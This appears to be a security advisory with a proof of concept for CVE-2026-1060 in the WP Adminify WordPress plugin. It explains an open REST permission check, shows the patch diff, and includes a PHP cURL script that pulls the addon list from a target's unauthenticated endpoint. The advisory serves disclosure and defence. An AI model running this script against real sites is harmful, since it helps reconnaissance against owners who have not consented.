Atomic Edge analysis of CVE-2026-1060:
This vulnerability is an unauthenticated sensitive information exposure in the WP Adminify WordPress plugin. The flaw resides in a REST API endpoint that insecurely exposes the plugin’s addon list, installation status, and metadata. The CVSS score of 5.3 reflects a medium-severity information disclosure risk.
The root cause is an improper permission check on the `/wp-json/adminify/v1/get-addons-list` REST API endpoint. In the vulnerable code in `/adminify/Libs/Addons.php`, the `register_rest_route` call for this endpoint sets its `permission_callback` to `’__return_true’`. This hardcoded value unconditionally grants access to any request, bypassing any authentication or authorization. The commented-out line `’permission_callback’ => [$this, ‘adminify_is_admin_user’],` shows the intended, secure configuration was present but disabled.
Exploitation is straightforward. An attacker sends a simple HTTP GET request to the vulnerable REST endpoint. No authentication, special headers, or parameters are required. The attack vector is the direct URL: `https://target-site.com/wp-json/adminify/v1/get-addons-list`. The server responds with a JSON object containing the complete list of WP Adminify addons, each entry detailing the addon name, slug, version, download URL, and installation status.
The patch, applied in version 4.0.7.8, corrects the `permission_callback` for the `get-addons-list` endpoint. The diff shows the line `’permission_callback’ => ‘__return_true’,` was replaced with `’permission_callback’ => [$this, ‘adminify_is_admin_user’],`. This change delegates the access decision to the `adminify_is_admin_user()` method, which presumably checks for appropriate administrator privileges before allowing the callback function `jltwp_adminify_get_addons_plugins_list` to execute and return data.
Successful exploitation allows an unauthenticated attacker to retrieve sensitive information about the site’s WP Adminify plugin ecosystem. The exposed addon list, versions, and download URLs could aid in reconnaissance for further attacks, such as targeting known vulnerabilities in specific addon versions. While not directly enabling privilege escalation or remote code execution, this information exposure reduces the attacker’s effort in profiling the target and planning subsequent intrusion steps.
--- a/adminify/Inc/Classes/Notifications/Latest_Updates.php
+++ b/adminify/Inc/Classes/Notifications/Latest_Updates.php
@@ -58,7 +58,7 @@
{
if("dismissed" !== get_option('_wpadminify_plugin_update_info_notice', true )){
$jltwp_adminify_changelog_message = sprintf(
- __('%3$s %4$s %5$s <br> <strong>Check Changelogs for </strong> <a href="%1$s" target="__blank">%2$s</a>', 'adminify'),
+ __('%3$s %4$s <br> <strong>Check Changelogs for </strong> <a href="%1$s" target="__blank">%2$s</a>', 'adminify'),
esc_url_raw('https://wpadminify.com/changelogs'),
__('More about Updates ', 'adminify'),
/** Changelog Items
@@ -66,8 +66,7 @@
*/
'<h3 class="adminify-update-head">' . WP_ADMINIFY . ' <span><small><em>v' . esc_html(WP_ADMINIFY_VER) . '</em></small>' . __(' has some updates..', 'adminify') . '</span></h3><br>', // %3$s
- __('<span class="dashicons dashicons-yes"></span> <span class="adminify-changes-list"> <strong>Fixed:</strong> WP Dashboard Notes plugin "+ Add Note" button trigger issue fixed. </span><br>', 'adminify'),
- __('<span class="dashicons dashicons-yes"></span> <span class="adminify-changes-list"> <strong>Fixed:</strong> Admin bar menu some anchor tag mouse cursor style issue fixed. </span><br>', 'adminify'),
+ __('<span class="dashicons dashicons-yes"></span> <span class="adminify-changes-list"> <strong>Security:</strong> Security updated. </span><br>', 'adminify'),
);
printf(wp_kses_post($jltwp_adminify_changelog_message));
}
--- a/adminify/Libs/Addons.php
+++ b/adminify/Libs/Addons.php
@@ -54,8 +54,7 @@
register_rest_route('adminify/v1', '/get-addons-list', array(
'methods' => 'GET',
'callback' => [$this, 'jltwp_adminify_get_addons_plugins_list'],
- // 'permission_callback' => [$this, 'adminify_is_admin_user'],
- 'permission_callback' => '__return_true',
+ 'permission_callback' => [$this, 'adminify_is_admin_user'],
));
register_rest_route('adminify/v1', '/install-addons', array(
--- a/adminify/adminify.php
+++ b/adminify/adminify.php
@@ -5,7 +5,7 @@
* Description: WP Adminify is a powerful plugin that modernizes and customizes your WordPress admin dashboard. It offers a clean, branded interface and advanced menu management features to enhance your admin user experience.
* Plugin URI: https://wpadminify.com
* Author: Jewel Theme
- * Version: 4.0.7.7
+ * Version: 4.0.7.8
* Author URI: https://wpadminify.com
* License: GPLv3 or later
* License URI: https://www.gnu.org/licenses/gpl-3.0.html
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1060 - WP Adminify <= 4.0.7.7 - Unauthenticated Sensitive Information Exposure via 'get-addons-list' REST API
<?php
// Configuration: Set the target WordPress site URL.
$target_url = 'https://example.com';
// Construct the full URL for the vulnerable REST API endpoint.
$api_endpoint = rtrim($target_url, '/') . '/wp-json/adminify/v1/get-addons-list';
// Initialize a cURL session.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $api_endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// The endpoint uses the GET method and requires no authentication.
curl_setopt($ch, CURLOPT_HTTPGET, true);
// Execute the request and capture the response.
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Check for cURL errors.
if (curl_errno($ch)) {
echo 'cURL Error: ' . curl_error($ch) . "n";
curl_close($ch);
exit(1);
}
curl_close($ch);
// Output the results.
echo "Target: " . $target_url . "n";
echo "Endpoint: " . $api_endpoint . "n";
echo "HTTP Status Code: " . $http_code . "nn";
if ($http_code == 200 && !empty($response)) {
$data = json_decode($response, true);
if (json_last_error() === JSON_ERROR_NONE) {
echo "[SUCCESS] Vulnerable endpoint accessed. Retrieved addon list.n";
echo "Addon Count: " . count($data) . "n";
echo "Sample Data:n";
// Print the first addon entry as a sample.
if (!empty($data)) {
$first_key = array_key_first($data);
print_r($data[$first_key]);
}
} else {
echo "[INFO] Received non-JSON response. Raw output:n";
echo $response . "n";
}
} else {
echo "[INFO] Request failed or endpoint not vulnerable (HTTP $http_code).n";
if (!empty($response)) {
echo "Response Body:n" . $response . "n";
}
}
?>
